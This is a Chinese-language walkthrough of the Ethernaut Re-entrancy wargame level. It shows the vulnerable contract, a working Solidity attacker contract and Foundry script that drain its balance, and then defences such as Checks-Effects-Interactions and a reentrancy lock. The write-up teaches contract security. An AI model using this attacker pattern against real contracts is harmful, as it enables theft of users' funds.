【Ethernaut x Foundry】Level 10-Re-entrancy 答案解說
2024 年依舊是最經典攻擊手法之一:Re-entrancy (重入攻擊)
看完這篇你會學到:
- 什麼是 Re-entrancy (重入攻擊)
- 如何預防重入攻擊
題目
此次目標是偷走合約內所有資金即可通關。
合約程式碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
解說
又是道經典題目,這次關卡考點十分明確,想通過本題勢必要了解什麼是 Re-entrancy 。
什麼是 Re-entrancy
Re-entrancy 是一種常見的合約攻擊手法,它主要是利用 external call 的轉移合約主控權特性,當一個合約在執行期間呼叫 (external call) 另一個外部合約的函式,此時主控權轉交給外部合約,接著外部合約故意回 call 原始合約,使原始合約再次執行 external call 到外部合約,這將導致迴圈式的呼叫,直至達成攻擊者目的或 gas 消耗殆盡。由於攻擊者會二次或多次進入原始合約,故被稱作重入攻擊。下方為攻擊流程圖片:
重入的入口點會發生在原始合約 external call 呼叫外部合約,而通常外部合約會在 fallback / receive 函式進行第二次回 call 原始合約。以這個邏輯來觀察題目合約,唯一存在 external call 的函式只有 withdraw()
,看來它就是我們要找的入口點了。
在 withdraw()
裡,程式碼可以分成以下三個步驟:
- 先檢查提款者目前的 balances 是否大於欲提款金額 (
_amount
)。 - 接著與外部合約互動,將
_amount
金額轉入提款者帳戶。 - 最後才實際修改合約內部有發生作用的狀態變數,將提款者的 balances 減去所提領的
_amount
金額。
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
上述的執行步驟其實暗藏著 Re-entrancy 漏洞,因為沒有先實際修改有發生作用 (受影響) 的狀態變數就與外部合約互動,重入攻擊的步驟如下:
Step 1. 攻擊合約呼叫關卡合約 donate()
,讓 balances 中存有攻擊者資金
Step 2. 再呼叫關卡合約 withdraw()
取出攻擊者資金,藉此進入 msg.sender.call()
讓這個 external call 觸發攻擊合約的 receive()
。
Step 3. 在攻擊合約 receive()
裡面再次呼叫關卡合約 withdraw()
以達到二次提款。
Step 4. 會形成迴圈重複 Step 2 ~ Step3 直到關卡合約 balance 小於 0 才停止。
因為在 Step 3 的第二次呼叫是經由 receive 去呼叫關卡合約的 withdraw()
,但是在第二次進入 withdraw()
時卻因為受影響的狀態變數尚未更新 (這行程式碼 balances[msg.sender] -= _amount
根本沒有被執行),所以關卡合約在尚未減去提款者所提領的金額時,就再次把錢轉出去了!
最後,我們需要在 receive 中判斷關卡合約是否仍有餘額 (if (balance > 0)
) 作為重入攻擊的終止點,否則會反覆重入直到 Out of gas 導致 revert,攻擊合約實作如下:
// src/10-ReentranceAttacker.sol
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}
contract ReentranceAttacker {
address public challengeInstance;
constructor(address _challengeInstance) payable {
challengeInstance = _challengeInstance;
}
function attack() external {
IReentrance(challengeInstance).donate{value: 0.001 ether}(address(this));
IReentrance(challengeInstance).withdraw(0.001 ether);
}
receive() external payable {
uint balance = IReentrance(challengeInstance).balanceOf(address(this));
if (balance > 0) {
IReentrance(challengeInstance).withdraw(balance);
}
}
}
這題同樣要記得在 script 創建 ReentranceAttacker 攻擊合約時傳入 0.001 Ether 進去當作攻擊資金。
// script/solutions/10-Reentrance.s.sol
contract ReentranceSolution is Script, EthernautHelper {
...
function run() public {
...
// YOUR SOLUTION HERE
ReentranceAttacker reentranceAttacker = new ReentranceAttacker{value: 0.001 ether}(challengeInstance);
reentranceAttacker.attack();
...
}
}
恭喜你,成功利用了重入漏洞洗劫關卡資金!
到這裡我們了解了何謂 Re-entrancy Attack 及其原理,但身為一個合約開發者,多了解基本的合約安全開發 Design Pattern 以確保安全性也是很正常的事,所以緊接著延伸閱讀要來討論一下該如何預防重入攻擊~
BTW 如果你發現自己對這次的攻擊流程不是很熟悉 (例如無法從頭到尾說明攻擊流程),那會建議多方參考他人的解說或是隔幾天再重新看一次 Re-entrancy 的介紹,因為當初我也花了點時間才消化吸收,所以非常能理解第一次接觸 Re-entrancy 那種似懂非懂的感受 XD。
延伸閱讀
如何預防重入攻擊
Re-entrancy 是合約安全問題中從早期就一直存在的重要漏洞之一,根據 Cyfrin 釋出的 2023 年數據顯示,因重入攻擊受駭的 DeFi 資金總量依然能排進 Top 10,在這兩年也出現一種叫 Read-only Re-entrancy 導致一些 DeFi 項目被攻擊,可見其漏洞影響力之大。因此,我們該了解如何避免重入攻擊發生,以及如何實作預防方法。接下來將介紹我目前已知且能力所及的防範手法:
- 使用 Checks-Effects-Interactions Pattern (程式方面)
- 使用重入鎖 (Mutex) (程式方面)
- 限制或注意對外部合約的 External Call (觀念方面)
- 使用合約靜態分析工具 (工具方面)
如果知道其他方法非常歡迎留言分享!!!
使用 Checks-Effects-Interactions Pattern
在前面介紹什麼是重入攻擊的時候,仔細看的話會發現我已經偷渡了 Checks-Effects-Interactions 這三個關鍵字,他們代表的涵意為:
- 檢查 (Check): 在進行任何狀態修改之前,首先應該檢查所有必要條件是否滿足,例如確保 caller 有足夠的權限或資源,或者合約是否處於預期的 XX 狀態。
- 作用 (Effect): 一旦檢查階段完成且條件滿足,就可以對發生作用 (受影響) 的狀態變數執行狀態的修改,這時會實際更新合約的狀態變數、Event、Log 等。
- 互動 (Interaction): 最後,在完成檢查和作用階段之後,才執行與外部合約的互動,亦即執行 external call,例如呼叫外部合約的函式、發送資金等。
如果將題目合約照 CEI 模式改寫,就可以直接避免發生重入,這是由於改寫後的第一次 Effect 早於第一次的 Interaction 發生,故當攻擊者在第二次進入 withdraw()
時就會因 Check 檢查狀態失敗而被擋下來!改寫後的程式碼如下:
// Using Check-Effects-Interaction Pattern
function withdraw(uint _amount) public {
// Check 檢查是否滿足條件
if(balances[msg.sender] >= _amount) {
// Effect 修改有作用(受影響)的狀態變數
balances[msg.sender] -= _amount;
// Interaction 執行與外部合約的互動
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
}
}
如果文字不好理解,可以參考下方圖片,其實我們只要記得把 external call 改寫到最後一步再執行,基本上即可預防大部分的重入攻擊。
使用重入鎖 (Mutex)
重入鎖是一種防止重入函數的修飾器 (modifier),這個 modifier nonReentrant()
每次開始的第一步就是先檢查狀態變數 _status
是否為 0,必須是 0 才進行下一步。接著第二步,將 _status
修改為 1。第三步才正式執行被修飾的函式。最後,函式執行結束會把 _status
恢復成 0,確保下一次修飾器能正常運作。
如此能阻擋重入的原因在於,當攻擊合約打算重入函式呼叫第二次時,會先撞到重入鎖的第一步:先檢查狀態變數 _status
是否為 0,很不幸地,在稍早 _status
已經被修改成 1 了,因此重入鎖第一步的 require 檢查無法通過,導致整筆交易 revert,又成功擋下一次重入!
實作部分也很簡單,OpenZeppelin 甚至早就有現成套件可以直接拿來使用 (ReentrancyGuard),說白點,我們其實只是利用 nonReentrant()
修飾器去修飾 withdraw()
而已,便能預防重入函式發生。改寫後的程式碼如下:
uint256 private _status; // 重入鎖狀態變數
// 重入鎖修飾器
modifier nonReentrant() {
// 在第一次呼叫到 nonReentrant 時,_status 必須是 0
require(_status == 0, "ReentrancyGuard: reentrant call");
// 將 _status 改為 1,在此之後對 nonReentrant 的任何呼叫都將失敗
_status = 1;
// 執行 function
_;
// 執行结束,將 _status 恢復為 0
_status = 0;
}
// 加上 nonReentrant() 修飾器
function withdraw(uint _amount) public nonReentrant {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
限制或注意對外部合約的 External Call
由於 external call 會將控制權交給外部合約,我們應該要盡可能最小化與外部合約的互動,並且只與信任的合約進行互動。如果必須要和未受信任的合約互動,可以在程式碼特別標注有潛在風險,獨立出一個函式,並進行嚴格的驗證和檢查,範例如下:
// bad
Bank.withdraw(100); // Unclear whether trusted or untrusted
function makeWithdrawal(uint amount) { // Isn't clear that this function is potentially unsafe
Bank.withdraw(amount);
}
// good
UntrustedBank.withdraw(100); // untrusted external call
TrustedBank.withdraw(100); // external but trusted bank contract maintained by XYZ Corp
function makeUntrustedWithdrawal(uint amount) {
UntrustedBank.withdraw(amount);
}
使用合約靜態分析工具
靜態分析工具可以用來找出合約中常見、具有一定攻擊 pattern 的漏洞,透過這個工具可以快速發現潛在漏洞,尤其是當合約規模越大,靜態分析工具越能體現出其價值 (當然分析也會跑稍微久一點)。然而,一些過於複雜的邏輯、新版 compiler 漏洞或是依賴外部資訊 (off-chain) 的漏洞自然無法全部偵測出來。不過重入攻擊這個上古漏洞,只要合約不過於複雜,基本上都會被偵測出來 (吧?)。以下是我知道的靜態分析工具:
有興趣可以去 try try,之後有時間再寫一個 aderyn 或 slither 的使用心得。
最後,我也推薦一個超好用的 VS code 小插件,你可以在 extensions 搜尋 Solidity Metrics 找到它。它是一個能快速一鍵生成 .sol 程式碼分析報告的工具,包含合約的整體範圍、風險、複雜程度、Natspec 等基本資訊,也會生成 Call Graph 視覺圖告訴你所有 function 之間 call 的關係,甚至連 Contract Summary 都直接生出來給你參考,對於想快速掌握專案摘要的人簡直是一大福音!
謝謝你花了這麼多時間讀到這邊,希望這篇文章能有效地幫助你學習什麼是 Re-entrancy 以及如何預防,下個題目見~